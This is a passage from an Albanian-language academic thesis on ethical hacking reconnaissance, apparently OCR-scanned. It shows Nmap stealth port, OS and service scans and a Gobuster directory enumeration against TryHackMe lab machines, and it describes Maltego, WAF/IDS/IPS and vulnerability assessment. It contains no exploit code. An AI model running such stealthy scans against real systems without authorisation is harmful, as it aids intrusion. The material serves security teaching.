gjitha porteve. Rezultatet e fituara jané paragitur ne tabelén 1.

Adresa IP Portet e Hapura
10.10.66.65 22 80
10.10.66.148 80| - -
10.10.66.170 22 80 443
10.10.66.177 135 139 445
10.10.66.190 20 80
10.10.66.206 80 443
10.10.66.243 - - -

Tabela 1 Rezultatet e skanimit té porteve nga vegla Nmap

Pasi kemi grumbulluar informacionet pérkatése éshté e réndésishme njohja e sistemeve operativé
té cilét operojné hostet e skanuara. Pér té béré kété lloj skanimi né Nmap pérdoret komanda -0
kurse specifikimi i rangut mbetet i njéjté sikurse tek komandat e pérdorura me herét. Rezultatet e
fituara jané paraqgitur né tabelén 2.

Adresa IP Sistemi Operativ
10.10.66.65 Linux
10.10.66.148 Ubuntu
10.10.66.170 -
10.10.66.177 Windows 7 Professional
10.10.66.190 -
10.10.66.206 Mac OS
10.10.66.243 -

Tabela 2 Rezultatet e skanimit té sistemeve operative nga vegla Nmap

Té gjitha té dhénat e grumbulluar do té marren dhe do té vendosen né Maltego pér té pasur
paragitje grafike ku nga kjo na u mundésohet analizimi dhe identifikimi me i leté i dobésive dhe
kércénimeve.
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2. Zbulimi (Reconnaissance)

Termi “"zbulim™ i referohet njé koleksion procedurash dhe metodash té pérdorura pér té
pérvetésuar dhe mésuar né ményré té fshehté sa mé shumé qé té jeté e mundur rreth njé sistemi té
synuar, duke pérfshiré numérimin, skanimin dhe gjurmimin. Hakimi (testim depértimi) etik fillon
me mbledhjen e informacionit dhe njohjen me sistemin e synuar por varésisht nga gasja né
objektiv zbulimi mund té jeté faza e pare né testim. Pér té gjetur dhe vjedhur informacione té
ndjeshme, zbulimi éshté njé hap vendimtar. Né siguriné e informacionit, zbulimi pérdoret né kété
meényré pér testimin e depértimit. Njé sulmues pérdor teknikat e zbulimit pér té shfrytézuar ato té
dhéna né fazat tjera si pér t¢ komunikuar me portet e hapura té rrjetit, nén domenet, shérbimet
aktive, etj[26]. Zbulimi éshté njé frazé e pérdorur né siguriné kibernetike gé, si shumé té tjera, ka
rrénjé ushtarake dhe pérshkruan njé operacion té krijuar pér té mbledhur inteligjencé nga
objektivi armiqésor[27]. Dallimi 1 metodologjis€é se zbulimit njohur si “recon” ose
“Reconnaissance” nga mbledhja e informacionit éshté si gasemi tek objektivi. Né disa raste faza
e mbledhjes se informacionit hyn né kontekstin e zbulimit, prandaj zbulimi né keté punim éshté
thjesht vazhdimési e mbledhjes se informacionit por me gasje té ndryshuar ndaj objektivit. Né
zbulim mund té pérfshihen té gjitha testimet e mbledhjes se informacionit por edhe mund te
behén anasjelltas né zbulim prandaj do té béhen disa zbulime si: shérbimi i porteve, gjetjen e nén
domeneve, nxjerrja e té dhénave né ueb (web scraping) dhe zbulimi i linceve né ueb (web
crawling). Pér té béré zbulimin fshehurazi rekomandohet té pérdoret njé VPN (virtual private
network) pér filtrim té trafikut rrjetor ose Proxy. Pér té funksionuar veglat me fshehurazi mund
té zvogélohet numri i kérkesave ndaj njé objektivi.

2.1.1 Shérbimi i pérdorur nga portet

Portet e hapura né njé objektiv kryejné njé shérbim té caktuar, po aj shérbim i hapur na
mundéson té grumbullojmé té dhéna tjera rreth ati objektivit. Ato té dhéna na mundésojné té
kuptojmé mé miré se si funksionon objektivi dhe se c¢faré dobési mund té keté gjaté testimit né
faza tjera. Pér testim do té pérdoret vegla Nmap si dhe objektiv do jeté makina “Blu” nga
platforma tryhackme.

Testimi

Pasi kemi béré testimet e mé hershme tashme ja fillojmé ti b&jmé testimet e reja fshehurazi keté e
ofron vegla Nmap né ményra té ndryshme, ne do pérdorim ményrén e dérgimit té paketave TCP
té fshehté e cila ofron aftésiné pér té qené mé i fshehté gjate skanimit. Pér té béré keté ne
pérdorim komandén “-sS” si dhe ja shtojmé ményrat tjera té skanimit, nése né e pérdorim vetém
até komandé pa shtuar tjera atéheré Nmap skanon né ményré té para-konfiguruar 1000 portet me
té pérdorura. Ne pér gjetjen e shérbimeve do pérdorimi komandén “-sV”. Testimi do té behet
vetém tek IP adresa 10.10.66.177 si dhe é&shté béré gjetja e porteve té reja duke béré skanim tek
té gjitha portet ekzistuese. Gjate skanimit shohim se skanimi éshté mé i ngadalté sesa né testimet
e me hershme kjo ndodh pasi vegla tenton ti béje ato skanime fshehurazi. Rezultatet e fituara nga
skanimi jané paragitur né tabelén 3.
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IP adresa

10.10.66.177
Numri | portés Emri | shérbimit
135 Microsoft Windows RPC
Microsoft Windows

139 netbios-ssn

445 microsoft-ds

3389 -

49152 -

Tabela 3 Rezultatet e skanimit té shérbimit te porteve nga vegla Nmap

Shohim né rezultat se jo ¢do here mund te gjejmé shérbimin té cilén e ofron njé port. Té dhénat e
shérbimeve paragesin njé pjesé té réndésishme té testimit dhe do te vendosen sikurse té dhénat
tjera né Maltego pér paragitje grafike.

2.1.2 Numérimi i nén domeneve

Gjetja e nén domeneve éshté njé pjesé thelbésore e fazés sé zbulimit. Por para se té vazhdojmé
tek gjetja e nén domeneve duhet té kuptojmé se cka jané nén domenet. Njé domen i nivelit té
dyté éshté pjesé e njé domeni mé té madh i cili njihet si nén domen. Njé nén domen i google.com
do té ishte, pér shembull, “cloud.google.com.” Nén domeni né kété skenar do té ishte "cloud”,
domeni rrénjé do té ishte "google™ dhe domeni i nivelit té larté do té ishte "com™. Shumé gjéra té
ndryshme mund té strehohen né nén domene, duke pérfshiré blogjet, faget e internetit té tregtisé
elektronike dhe madje edhe faget e internetit té téra té pavarura nga domeni origjinal. Brenda njé
biznesi, nén domenet pérdoren shpesh pér té ndaré shérbime ose operacione té ndryshme[29].
Procesi i zbulimit té nén domenet té vlefshme (ekzistues) pér njé ose mé shumé domene njihet si
numeérimi i nén domenit. Eshté mjaft e véshtiré pér té marré njé listé t& nén domeneve aktive,
pérvec nése serveri DNS publikon njé zoné té téré DNS (pérmes AFXR). Pérdorimi i njé fjalori
me emra té zakonshém té domeneve éshté njé tekniké e cila kérkon nén domene duke krahasuar
pérgjigjen e kérkesés ndaj objektivi me emrin né fjalor . Kjo gasje éshté e dobishme né disa
rrethana, por pérjashton nén domenet me emra té pazakonté[30]. Numri i nén domeneve paraget
informacion shumé té vlefshém pér testim pasi zgjeron spektrin e sulmeve ndaj objektivit. Pér
testim do té pérdoret vegla Gobuster si dhe objektiv do jeté makina “Mr Robot ” nga platforma
tryhackme. Te dhénat e grumbulluar do té vendosen né Maltego pér analizé finale té testimit.
Para se té vazhdohet tek testimi éshté mire ti kemi njohurit bazike te veglés GoBuster.

Gobuster éshté vegél krijuar né gjuhén e programimit Go. Shpejtésia éshté pérparésia kryesore
gé Gobuster ka ndaj skaneréve té tjeré t& nén domeneve[31]. Kjo vegél gjendet e para-instaluar
né disa sisteme operative si Kali Linux dhe ka ndérfage né linje e komandés. Komanda pér
pérdorimin e veglés éshté:
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gobuster [Ményra e operimit J[Opsionet]
Testimi

Pér testimin toné do e pérdorim sistemin operativ Kali Linux ku kemi thirrur né komandén e
linjés veglén gobuster. Né linjén e komandés vendosim ményrén e operimit, ne do e pérdorim
ményrén “dir” i cili numéron nén domenet né baze té krahasimit me ndonjé fjalor. Fjalor i
pérzgjedhur pér testim éshté “common.txt” i vendosur pas komandés “-w” si dhe éshté paraqitur
nén skedarét ku gjendet fjalori pér té pasur gasje vegla. Me komandén “-u” specifikojmé
objektivin pér skanim. Kjo proceduré e pérmbledhur do té dukej si né figurén 16 ku né fund té
saj éshté paraqitur progresi dhe numri i emrave té nén domeneve.

= dir -w /usr/share/dirb/wordlists/big.txt -u http://10.10.144.177

Gobuster v3.1.0
by 0] Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

Url: http://10.10.144.177

Method: GET

Threads: 10

Wordlist: /usr/share/dirb/wordlists/big.txt
Negative Status codes: 404

User Agent: gobuster/3.1.0

Timeout: 10s

2022/10/13 12:59:55 Starting gobuster in directory enumeration mode

Progress: 10 / 20470 (0.05%)f

Figura 16 Komandat e pérmbledhura pér numérim té nén domenve né veglén gobuster

Rezultatet e fituara nga gobuster shfagin mjafté nén domene dhe jané paragitur né figurén 17.

/images (Status: 30%)
/blog (Status: 301)
/sitemap (Status: 200)
/video (Status: 301)
/rss (Status: 301)
/login (Status: 302)

/0 (Status: 301)

/feed (Status: 301)
/wp-content (Status: 301)
/image (Status: 301)
/admin (Status: 301)
/atom (Status: 301)
/audio (Status: 301)
/intro (Status: 200)
/css (Status: 301)
/wp-login (Status: 200)
/rss2 (Status: 301)
/license (Status: 200)
/wp-includes (Status: 301)
/js (Status: 301)

/Image (Status: 301)
/rdf (Status: 301)
/pagel (Status: 301)
/readme (Status: 200)
/robots (Status: 200)
/dashboard (Status: 302)

Figura 17 Rezultatet e fituara nga skanimi me veglén gobuster
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2.1.3 Zbulimi i té dhénave: skrapimi i uebit (web scraping)

Skrapimi i uebit éshté procesi i pérdorimit té programeve kompjuterike, ndonjéheré té njohura si
"bots™, pér té shfletuar faget e internetit dhe pér té marré materiale. Kjo metodé éshté thelbésore
pér gjetjen e informacionit té€ paautorizuar, testimin e sistemeve té sigurisé dhe identifikimin e
fageve té rreme té internetit, pasi ka aplikime té gjera né shumé sektoré. Skriptet e shkruara né
njé séré gjuhésh, duke pérfshiré Java, JavaScript, Ruby, PHP dhe Python, pérdoren shpesh gjaté
gjithé procesit té skrapimit té ueb-it. Informacioni mé pas nxirret dhe pérpunohet né njé formé qé
profesionistét e sigurisé mund ta shqyrtojné dhe mund ti vendosin té dhénat e grumbulluara né
veglén Maltego. Skrapimi i uebit éshté njé qgasje efektive pér identifikimin e materialeve té
paligjshme té internetit, té tilla si: produkte té falsifikuara, lajme té rreme etj[32].

2.1.4 Zbulimi i té dhénave: zvarritje né ueb (web crawling)

Njé softuer ose skript e automatizuar pérdoret né procesin e zvarritjes né ueb pér té indeksuar té
dhénat né faget online. Njé zvarrités né internet, merimangé, merimangé bot ose thjesht zvarrités
jané disa nga emrat e kétyre skripteve ose algoritmeve té automatizuara. Njé motor kérkimi
indekson faget gé jané marré nga zvarritésit e uebit pér pérpunim, duke u mundésuar
pérdoruesve té kryejné kérkime mé efektive. Zvarritésit duan té zbulojné temén e fageve té
internetit. Pérdoruesit tani jané né gjendje té gasen shpejt dhe me lehtési ¢do informacion né njé
ose mé shumé faqge. Zvarritésit fillojné zvarritjen e tyre duke shkarkuar skedarin robot.txt nga
fagja e internetit. Hartat e ueb-it gé listojné URL-té té cilat motori i kérkimit mund té zvarrité
pérfshihen né até skedar. Zvarritésit e uebit pérdorin lidhje pér té gjetur fage té reja pasi té
fillojné té zvarriten né njé fage. Pér té zvarritur URL-té e gjetura mé voné, kéta zvarrités i shtojné
ato né radhén e gjurmimit. Kéto metoda mundésojné gé merimangat e internetit té indeksojné
cdo fage qé ka lidhje me faget e tjera[33].

Dallimet ne mes te zvarritjes né ueb dhe skrapimit
Pérgjigja e shkurtér éshté se skrapimi né internet ka té béjé me nxjerrjen e té dhénave nga njé ose

mé shumé fage interneti. Ndérsa zvarritja ka té béjé me gjetjen ose zbulimin e URL-ve ose
lidhjeve né ueb.

Zakonisht, né projektet e nxjerrjes sé té& dhénave né ueb, preferohet t¢ kombinohen té dy proceset.
Késhtu gé fillimisht rekomandohet té béhet procesi i zvarritjes ose zbulimit t¢ URL-ve, pastaj
béhet skrapimi duke shkarkuar skedarét HTML. Kjo do té thoté gé ne nxjerrim té dhéna dhe
béjmé dicka me to, si ruajtja e tyre né njé bazé té dhénash ose pérpunimi i métejshém i tyre[34].
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3. Zbulime tjera

Zbulimet tjera pérfshijné metoda té ndryshme té zbulimit dhe mbledhjes se informacionit. Kéto
metoda jo gjithé here jané efikase pér pérdorim pasi varen nga objektivi né té cilén déshirojmé té
e béjmé testimin. Zbulimin e shérbimeve pérkatés té cilén e pérdorim pér ueb aplikacione nuk
mund té pérdoret pér zbulimin e shérbimeve né ndonjé pajisje té Wifi.

3.1.1 Zbulimi i murit té zjarrit né Ueb

Aplikacionet Ueb mund té fshehén mbrapa shérbimeve “Firewall” pér té pasur siguri mé té lart
né aplikacion. Duke filtruar dhe mbajtur gjurmét e trafikut HTTP midis njé aplikacioni ueb dhe
internetit, njé mur zjarri “WAF”, ndihmon né mbrojtjen ¢ aplikacioneve né internet. N& ményré
tipike, ai mbron aplikacionet né internet kundér kércénimeve si injektimi SQL, pérfshirja e
skedaréve, skriptimet né faqe (XSS) dhe “Cross site request forgery”. N& modelin OSI, njé WAF
éshté njé mbrojtje e shtresés sé protokollit 7 dhe nuk synon té parandalojé té gjitha llojet e
kércénimeve. Kjo tekniké e zbutjes sé sulmit zakonisht pérfshihet né njé grup mjetesh gé
punojné sé bashku pér té formuar njé mbrojtje gjithépérfshirése kundér njé séré vektorésh
sulmi[35]. Pér zbulimin e murit té zjarret né ueb aplikacione preferohet nga shume pérdorimi i
veglés “waf00f” e cila gjendet e para instaluar ne sistemin operativ Kali Linux. Kjo vegél po
ashtu mund té pérdoret pér gjetjen e sistemeve IDS dhe IPS.

3.1.2 Sistemi i zbulimit té ndérhyrjeve (IDS) dhe sistemi i parandalimit té
ndérhyrjeve (IPS)

Zbulimi i ndérhyrjeve éshté procesi i monitorimit té trafikut té rrjetit dhe analizimit té tij pér
shenja té ndérhyrjeve t&¢ mundshme, té tilla si pérpjekjet pér shfrytézim dhe incidentet gé mund té
jené kércénime té menjéhershme pér rrjetin[36]. Megjithése sistemet IDS dhe sistemet IPS
synojné té ndihmojné né mbrojtjen kundér kércénimeve ndaj njé organizate, nuk ka asnjé fitues
té garté né argumentin IDS kundér IPS, sepse zgjedhja mé e miré varet nga rrethanat specifike té
vendosjes[37].

Sistemet IDS

Njé sistem i zbulimit t& ndérhyrjeve (IDS) éshté njé pajisje gé skanon trafikun e rrjetit pér ¢do
sjellje t& dyshimté dhe dérgon alarme kur e zbulon até. Eshté softuer gé kontrollon njé sistem ose
rrjet pér aktivitete me qéllim té keq ose shkelje té politikave. Cdo aktivitet ose shkelje e
paligjshme shpesh regjistrohet ose né ményré gendrore duke pérdorur njé sistem té menaxhimit
té informacionit té sigurisé dhe ngjarjeve (SIEM) ose i njoftohet njé administratori. Njé sistem
SIEM kombinon rezultatet nga disa burime dhe pérdor metoda té filtrimit té alarmit pér té dalluar
midis alarmeve reale dhe té gabuara[38].
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Sistemet IPS

Njé sistem parandalimi té ndérhyrjeve (IPS) éshté njé mjet sigurie né rrjet qé skanon vazhdimisht
njé rrjet pér aktivitete keqdashése dhe i pérgjigjet atij kur ndodh duke e raportuar, bllokuar ose
hequr até. Mund té jeté bazuar né harduer ose softuer. Ky sistem éshté mé i sofistikuar se njé
sistem IDS, i cili mund té lajmérojé vetém njé administrator dhe thjesht té zbulojé aktivitete té
démshme.

3.2.1 Gjetja e rrjedhjeve e té té dhénave

Rrjedhja e té dhénave éshté transferimi i paautorizuar i informacionit nga njé organizaté né njé
burim té jashtém. Hard disqet, disget USB, telefonat celularé dhe pajisje té tjera mund té
pérdoren té gjitha pér té nxjerré fizikisht ose né ményré elektronike kéto té dhéna, té cilat mé pas
rrezikojné té béhen té gasshme pér publikun ose té bien né duart e krimineléve kibernetiké[39].
Softueri pér zbulimin e rrjedhjeve té dhénave lejon organizatat té parandalojné shkeljet dhe
incidentet serioze té sigurisé. Kéto softuer pérdorin inteligjencé artificiale si dhe informacion me
burim té hapur. Pér kérkim té shpejte dhe efikase té gjetjes sé rrjedhjeve e té dhénave shpesh
here pérdoret platforma “Intelligence X” . Intelligence X éshté njé motor kérkimi dhe arkiv i té
dhénave. Né keté platformé mund té behén kérkime si: Tor, I2P, rrjedhjet e té dhénave dhe
adresa-email né ueb-in publik, domen, IP, CIDR, adresé Bitcoin dhe mé shumé[40].
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4. Vegla Maltego

Ka mjete té ndryshme OSINT né treg, por Maltego dallohet pér shkak té vecorive té tij dalluese.
Maltego éshté njé aplikacion OSINT i cili ofron njé platformé jo vetém pér té nxjerré té dhéna,
por edhe pér té pérfagésuar ato té dhéna né njé format gé éshté i lehté pér t'u kuptuar dhe
analizuar. Aktualisht Maltego éshté né dispozicion né dy versione: komerciale dhe komunitet.
Versioni komercial paguhet dhe duhet njé celés licence pér té. Megjithaté versioni i komunitetit
éshté falas dhe ne vetém duhet té regjistronemi né fagen e Pateva (krijuesi i Maltego). Edhe pse
edicioni i komunitetit ofron mé pak vecori sesa versioni komercial, si p.sh. njé kapacitet mé té
vogél té nxjerrjes sé té dhénave dhe pa ndihmé pér pérdoruesit, etj., gjithsesi éshté e mjaftueshme
pér té pérjetuar fuginé e kétij programi fantastik. Pér géllimet demonstruese né kété kapitull, ne
do té pérdorim versionin e komunitetit[41]. Pasi kemi cekur mé herét se cka jané entitetet dhe
transformimet tashmé tek termat e pérdorur né Maltego kané mbetur makinat.

Makinat

Makinat jané ekuivalenti i makrosé. Kur pérdorim njé makiné, mund té béhet automatizimi i
operacioneve té pérséritura dhe té shpeshta duke lidhur sé bashku shumé transformime, filtra dhe
veprime. Mund té pérdoret pér té kryer automatikisht sekuencat té paracaktuara té transformimit
ose pér krijimin e sekuencave té transformimit pér té kryer automatikisht pyetjet dhe pér té
pérshpejtuar procedurén e kérkimit[42].

4.1.1 Tabelat e manipulimit né veglén Maltego

Hetimi (Investigate)

Kur krijojmé njé grafik né Maltego, tabela hetimi éshté aktive si parazgjedhje. Ky jep njé séré
zgjedhjesh pér té paré dhe manipuluar njé grafik. Zgjedhjet jané té organizuara né ményré
logjike. Po ashtu ofron funksione bazé si prerja, kopjimi , ngjitja, kérkimi, pérzgjedhjen e
lidhjes/entitetit, si dhe shtimin.

Té dhénat e grumbulluara jo gjithé heré mund té krijojé lidhje prandaj né Maltego ekziston
mundésia pér lidhje manuale duke klikuar me t€ majtén dhe duke mbajtur né njé entitet burimor
té pazgjedhur, mé pas duke zvarritur lidhjen tek entiteti i synuar. Pasi té léshohet klikimi mbi
entitetin e synuar, do té shfaget njé meny e vetive té lidhjes gé lejon té specifikohen vetité pér
lidhjen[42].

Kjo tabelé pérmban nénmeny si: seksioni i kujtesés sé fragmenteve, modaliteti i privatésisé,
ngjitja e té dhénave, rréshqitési i transformimit, gjendja né grafik, zgjedhja e entitetit, zgjedhja e
lidhjeve, zmadhimi. Kéto jané té paragitur né figurén 18.
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Figura 18 Tabela “Investigate” né Maltego
Tabela e pamjes (View)

Tabela e pamjes né Maltego lejon pércaktimin e preferencave pér ményrén se si shfaget grafiku i
krijuar nga mbledhja e informacionit. Kjo tabelé pérmban nén meny si: pamjet (viewlets),
fagosja e grafikut, shtrirja e entitetit, etiketat dhe vetité e lidhjeve, shfaq etiketat e lidhjeve té
personalizuara/transformuar dhe shénimet e entitetit. Nénmenyja “viewlets” paraget pjesén
kryesore té késaj tabele. Pamjet pérdoren pér té nxjerré informacione jo té dukshme nga grafiké
té médhenj — ku analisti nuk mund té shohé marrédhénie té garta me inspektimin manual té
dhénave. Pamjet mund té pérdoren pér té pércaktuar madhésiné dhe ngjyrén e entiteteve bazuar
né vetité e ndryshme té grafikut[43]. Né figurén 19 é&shté paraqitur tabela e pamjes.

e Ee+@ERES 0 8 4 Maltego Community Edition 4.3.0

Investigate ~ View  Entties  Collections  Transforms ~ Machines  Collaboration  Import| Export  Windows

LercAllgn Right Align Show Custom Link Labels
Hierarchical Selection Top Align Center Vertically D Show Transform Link Labels Hide Notes
Bottom Alian 4# Center Horizonta Properties Mfect Appearance

Figura 19 Tabela “View” né Maltego
Tabela e Entiteteve (Entities)

Duke pérdorur tabelén e entiteteve, mund té modifikohen entitetet gé jané té pranishme né
Maltego, dhe ne po ashtu mundemi té shtojmé entitete té reja dhe té krijojmé entitetet tona[44].
Né figurén 20 éshté paraqitur tabela e entiteteve.

@ Fe@mERHES ¢ 5 & Maltego Community Edition 4.3.0

Investigste ~ View  Entities  Collections  Transforms ~ Machines  Collaboration  Import| Export  Windows

0 Q 0! Import Entities »

O Export Entities
New Entity Manage Manage
Type ™ Entities Icans

Figura 20 Tabela “Entities” né Maltego
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Tabela e koleksioneve (Collections)

Koleksionet punojné pér té organizuar grafikun duke vendosur entitete "té ngjashme™ né njé grup.
Kjo e bén mé té thjeshté shikimin e zonave té caktuara té grafikut dhe gjetjen e lidhjeve té
réndésishme gé mund té kérkohen. Rregullat themelore t¢ mbledhjes i pérmbahen té gjitha
kritereve té méposhtme:

e Vetém subjektet e té njéjtit lloj mund té mblidhen sé bashku né njé koleksion té vetém

e Subjektet gé jané té gozhduara (té ngjitura né grafik) mund té mos mblidhen

e Ekziston njé kufi minimal i entitetit i cili duhet té plotésohet qé té formohet njé nyje
grumbullimi, d.m.th. njé nyje grumbullimi nuk mund té pérmbajé mé pak se kufiri
minimal i entiteteve.

Koleksionet jané té aktivizuara si parazgjedhje dhe mund té caktivizohen/aktivizohen duke
shtypur butonin caktivizo/aktivizo koleksionet[45]. Né figurén 21 éshté paragitur tabela e
koleksioneve.

B+RERRS # ® Maltego Community Edition 4.3.0
g nvestigate  View  Entties  Collections  Transforms  Machines Collzboration Impart| Export Windows
Simplfy Graph Show Callections Tutorial
More Less
————— x4

Disab.le L
Collections | 3 8 % 50 100 Never

Figura 21 Tabela “Collections” né Maltego
Tabela e Transformimeve (Transforms)

Tabela e transformimeve pérmban opsionet pér menaxhimin dhe konfigurimin e transformimeve
gé jané né dispozicion tek vegla Maltego[46]. Né figurén 22 éshté paragitur tabela e
transformimeve.

@ B+@EREBES #» 0 Maltego Community Edition 4.3.0
v

Investigate ~ View  Entities  Collections ~ Transforms ~ Machines  Collaboration Import | Export  Windows

(-:I 0 O @ = O Run View

L)
Transform Transform  Mewlocal | Certificate | Manage
Hub  Manager Transform.. | Manager | Services

Figura 22 Tabela “Transforms” né Maltego
Tabela e makinave (Machines)

Automatizimi i procesit té ekzekutimit té transformimit pérfagésohet nga makinat né Maltego.
Si¢c kemi pérmendur mé larté kéto makina jané makro. Kéto shkruhen duke pérdorur gjuhén e
skriptimit Maltego - njé gjuhé skriptimi me porosi e zhvilluar pér té lejuar ¢cdo pérdorues té
krijojé Makinat e veta. N& varési té skriptit, makinat mund té ekzekutojé transformimet si
paralelisht ashtu edhe né vazhdimési. Pérdoruesit mund té ekzekutojné transformime té shumta

35



né té njéjtin entitet té dhénash ose té ekzekutojné njé seri transformimesh nga njé dalje e té
dhénave né tjetrén — ose té kryejné té dyja njékohésisht[47]. Né figurén 23 éshté paraqitur
tabela e makinave.

6 Be@EGRHS # 2 § Maltego Community Edition 4.3.0
M Investigate  View  Entities Collections ~ Transforms ~ Machines  Collaboration Import | Export Windows

% % % % &R Machines Window

Run Stop all New Manage

Machine Machines | Machine Machines

Figura 23 Tabela “Machines” né Maltego

Tabela e Bashképunimit (Collaboration)

Tabela e bashképunimit né Maltego lejon shumé pérdorues té punojné né njé grafik né té njéjtén
kohé né njé seance té sigurt [48]. Ne figurén 24 éshté paragitur tabela e bashképunimit.

@ Be@ERES ¢ 2 & Maltego Community Edition 4.3.0
b Investigate View Entities Collections Transforms Machines  Collaboration Impart | Export Windows
Chat Window Show
D Usernames

¥ Collaboration Window
Share New Share Current

Graph Graph
Figura 24 Tabela “Collaboration” né Maltego
Tabela e importit dhe eksportit (Import, Export)

Rezervimi i skedaréve té konfigurimit dhe importimi dhe eksportimi i té dhénave brenda dhe
jashté Maltego jané té dyja t¢ mundshme duke pérdorur tabelén importit dhe eksportit[49]. Né
figurén 25 éshté paragitur tabela e importit dhe eksportit.

E+BEERS ¢ 2§ Maltego Community Edition 4.3.0

Investigate ~ View  Entities Collections ~ Transforms  Machines Collaboration ~ Import | Export = Windows

& £ | & LB

Importa3rd  Mappings - Import an Export Graph Export Graph Generate Export Graph | Import  Export
PartyTable Tabularimport | Exported Table toTable  asimage  Report  asXML Config  Config

Figura 25 Tabela “Import, Export” né Maltego
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5.Testimi i aseteve pér cenueshmeéri

Vlerésimi i cenueshmérisé éshté procedura pér pércaktimin, zbulimin, kategorizimin dhe renditje
té dobésive né sistemet kompjuterike, aplikacione dhe infrastruktura té rrjetit. Njé organizaté
mund té kuptojé dhe t'i pérgjigjet rrezigeve pér mjedisin e saj me pérdorimin e vlerésimeve té
cenueshmeérisé, té cilat gjithashtu u ofrojné atyre informacionin, ndérgjegjésimin dhe sfondin e
nevojshém té rrezikut. Q&llimi i njé procedure té vlerésimit té cenueshmérisé éshté té gjejé
kércénimet dhe rreziget gé mund té ekzistojné. Ato shpesh pérfshijné pérdorimin e mjeteve té
automatizuara té testimit, duke pérfshiré skanerét e sigurisé sé rrjetit, gjetjet e té ciléve paragiten
né njé raport té vlerésimit té cenueshmérisé[49].

Ekzistojné kéto objektiva kryesoré té njé vlerésimi té cenueshmérisé:

« Identifikimi i dobésive gé ndryshojné nga té metat (dobésité) kritike té dizajnit deri té keq
konfigurimet e thjeshta.

o Dokumentimi i dobésive né ményré gé zhvilluesit mund té identifikojné dhe riprodhojné
lehtésisht gjetjet.

e Kirijimi i udhézimeve pér té ndihmuar zhvilluesit né korrigjimin e dobésive té
identifikuara.

Pér testimin e cenueshmérisé mund té pérdoren metodologji té ndryshme. Testimi dinamik i
sigurisé sé aplikacioneve (DAST) éshté njé nga metodologjité. DAST, éshté njé tekniké e
pérdorur pér té zbuluar té metat e sigurisé duke pérdorur njé aplikacion (zakonisht njé fage né
internet) dhe duke ofruar té dhéna ose rrethana té tjera pér té bére déshtimin, apo pér té gjetur té
metat né kohé reale. Metodologji tjetér pérfshiné testimi statik i sigurisé sé aplikacionit (SAST).
SAST nga ana tjetér, éshté studimi i kodit burimor té njé aplikacioni ose kodit té objektit né
ményré gé té gjejé dobésité pa u ekzekutuar programi[50].

Shembuj té kércénimeve gé mund té parandalohen nga vlerésimi i cenueshmérisé pérfshijné:

e Sulmet e injektimit té kodit si: ekzekutimi i kodit né distancé (RCE), injektimi SQL,
skriptimi i ndérfageve (XSS)

o Pérshkallézimi i privilegjeve pér shkak té mekanizmave té gabuar té vértetimit.

o Parazgjedhjet e pasigurta si fjalékalimet e thjeshté
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5.1.1 Vlerésimi i cenueshmeérisé: procesi i skanimit pér dobési dhe
kércénime

Procesi i skanimit té sigurisé pérbéhet nga katér hapa: identifikimi i dobésive, analiza, vlerésimi i
rrezikut dhe riparimi.

H 55 @ 9

Identifikimi i dobesive Analiza Vlerésimi i rrezikut Riparimi

L J

Figura 26 Proceset e skanimit té sigurisé

1.1dentifikimi i cenueshmérisé (testimi)

Objektivi i kétij hapi éshté hartimi i njé listé gjithépérfshirése té dobésive té njé aplikacioni.
Analistét e sigurisé testojné siguriné e aplikacioneve, serveréve ose sistemeve té tjera duke i
skanuar ato me mjete té automatizuara, ose duke i testuar dhe vlerésuar ato vetvetiu[51].

2.Analiza e cenueshmeérisé

Objektivi i kétij hapi éshté té identifikojé burimin dhe shkakun rrénjésor té dobésive té
identifikuara né hapin e paré. Ato pérfshijné identifikimin e komponentéve té sistemit pérgjegjés
pér ¢cdo cenueshméri, dhe shkakun rrénjésor té cenueshmérisé[51].

3.Vlerésimi i rrezikut

Prioriteti i dobésive éshté géllimi i késaj faze. Kjo fazé pérmban analistét e sigurisé gé renditin
ose vlerésojné ¢do dobési sipas shumé kritereve, duke pérfshiré:

o Cilat sisteme preken

o Cilat té dhéna jané né rrezik.

o Lehtésia e gjetjes sé sulmit

e Ashpérsia e njé sulmi

e Déme té mundshme si rezultat i cenueshmérisé
Kéto jané disa nga shumé kritere té cilat mund té pérdoren pér gjetjen e prioriteti té dobésive[51].
4.Riparimi

Objektivi i kétij hapi éshté mbyllja e boshllégeve té sigurisé. Zakonisht éshté njé pérpjekje e
pérbashkét e stafit té sigurisé, ekipeve té zhvillimit dhe operacioneve, té cilét pércaktojné rrugén
mé efektive pér riparimin ose zbutjen e ¢cdo cenueshmérie.[51]
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5.2.1 Skanimi i cenueshmeérisé

Procesi i automatizuar i kérkimit dhe identifikimit té kércénimeve dhe dobésive njihet si skanimi
i cenueshmérisé. Kjo béhet duke pérdorur vegla té njohur si skaneré té cenueshmérisé. Skanerét e
cenueshmérisé jané krijuar pér té identifikuar dobésité e njohura té sigurisé dhe pér té ofruar
udhézime se si té rregullohen ato. Pér shkak se kéto dobési zakonisht raportohen publikisht, ka
shumé informacione té gasshme rreth softuerit té cenueshém. Skanerét e cenueshmérisé pérdorin
kété informacion pér té identifikuar pajisjet dhe softuerét e cenueshém né infrastrukturén e njé
organizate. Skaneri fillimisht dérgon paketa apo kérkesa né sistem pér té zbuluar:

o Portet e hapura dhe shérbimet e funksionimit
o Versionet e softuerit
o Cilésimet e konfigurimit

Né bazé té kétyre té dhénave, skaneri mund té gjejé shpesh njé shuméllojshméri té dobésish né
sistemin gé testohet. Skaneri dérgon gjithashtu té dhéna té synuara pér té gjetur disa dobési gé
mund té vértetohen vetém duke siguruar njé shfrytézim té sigurt gé verifikon se defekti éshté i
pranishém. Kéto lloj té dhénash mund té dallojné té meta té njohura si "Injeksioni i komandés",
"skriptimi i ndérfageve (XSS)" ose pérdorimi i hyrjes dhe fjalékalimit té paracaktuar té njé
sistemi.

Kohézgjatja e skanimit t& cenueshmérisé mund t& ndryshojé nga disa minuta né disa oré, né
varési té infrastrukturés gé béhet testimi[52].

5.2.2 Llojet e skanimeve té cenueshmeérisé

Njé nga llojet e skanimit t& cenueshmérisé paraget skanimin: vértetuar si pérdorues dhe jo
i vértetuar. Skanimet si jo i vértetuar kryhen pa asnjé kredenciale dhe, si e tillé, mund té japin
vetém informacion té kufizuar né lidhje me dobésité e mundshme. Ky lloj skanimi ndihmon né
identifikimin e dobésive té ulét, té tilla si sisteme té pa riparuara ose porta té hapura. Skanimet e
vértetuara, nga ana tjetér, kryhen me kredenciale administrative. Kjo lejon gé mjeti i skanimit té
ofrojé informacion shumé mé té ploté né lidhje me dobésité e mundshme[53].
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5.3.1 Skanuesit e cenueshmérisé sé aplikacioneve té ueb-it

